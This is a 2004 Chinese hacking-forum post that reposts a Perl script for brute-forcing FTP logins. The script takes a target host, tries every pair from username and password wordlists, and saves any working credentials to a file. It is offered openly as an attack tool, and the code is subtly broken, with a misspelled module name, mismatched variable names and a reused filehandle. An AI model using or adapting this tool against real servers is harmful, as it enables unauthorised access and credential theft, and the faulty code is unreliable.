‹‹ 上一主题 | 下一主题 ››
发新话题
打印

[转载]一个关于ftp破解的perl程序

EvilOctal

团队执行官

Rank: 8Rank: 8

E.S.T社区执行帐号

帖子
9833 
精华
769 
积分
40415 
阅读权限
200 
性别
男 
在线时间
3978 小时 
注册时间
2004-7-4 
最后登录
2008-10-11 
楼主 大 中 小 发表于 2004-12-11 04:01  只看该作者

[转载]一个关于ftp破解的perl程序

文章作者：cnbird
复制内容到剪贴板
代码:
#!/usr/bin/perl -w

#CopyRight by One's wAr(550669)...
use New::FTP;
print "CopyRiGht by oNe's wAr(550669).\n\n\n";
print "input hostname here:\n";
$host=<STDIN>;
print "BeGaIn to brute....";
$file1="FTPUSER";
$file2="FTPPASS";
open(FILE,"$file1")||die "$file1 can&#39;t find\n";
while(@user=<FILE>){
  foreach $user(@user){
      chop ($user);
      open(FILE,"$file2")||die "$file2 can&#39;t find\n";
    while(@passwd=<FILE>){
        foreach $passwd(@passwd){
        chop($password);
        print "\n\n";
        $ftp=New::Ftp->new($host)||die "Can&#39;t connect host\n";
        print "Now BrUtE $user->$password\n";
          if($ftp){
                $a=$ftp->login($user,$password);
                $ftp->quit;
                if($a==1){
                      print "Found username:$username,password:$password\n";
         open(H,">>ftpscan.txt")||die "Can&#39;t open ftpscan.txt\n";
         print H "username:$username password:$password @ host:$host\n";
         close H;
                      }
                }
          }
      }
    }
}
print "Result in ftpscan.txt...\n";
print "MaDe in oNe&#39;s wAr(550669);\n";
print "Thanks spirit and all....\n";
曾几何时，有人对我说：装B遭雷劈。我说：去你妈的。于是，这个人又对我说：如果再说脏话，上帝会惩罚你的。我说：我操上帝。结论：彪悍的人生不需要上帝。

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题